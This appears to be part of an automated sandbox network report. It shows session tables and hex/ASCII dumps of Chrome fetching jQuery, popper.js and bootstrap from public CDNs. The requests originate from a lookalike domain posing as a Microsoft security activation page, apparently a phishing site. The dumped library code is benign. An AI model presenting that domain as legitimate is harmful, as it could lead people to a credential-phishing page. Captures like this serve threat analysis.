2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49755	104.17.24.14	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:04 UTC	771	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:05 UTC	959	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:04 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 49878 Expires: Sun, 04 Jan 2026 14:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BdCuGe%2FapYYjbFB0iSYtpDpUzDenXTjckS66hQL2HVsl2tdmhHcla6cmxxJOy97zZWCyK4eTI1eYAKE%2BeXGAaCgkAU59%2BQsG3exTZkDC9LiY5dVts8qAFIhCaiFG1OylH5CeVPx9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 901e499f2bd872aa-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:24:05 UTC	410	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 Data Ascii: e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document'
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 Data Ascii: var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['borde
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e Data Ascii: :p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 Data Ascii: ht:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.wid
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e Data Ascii: .warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instan
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 Data Ascii: s.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passi
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 Data Ascii: rn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retu
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: rn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d Data Ascii: rn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49760	104.18.11.207	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:05 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
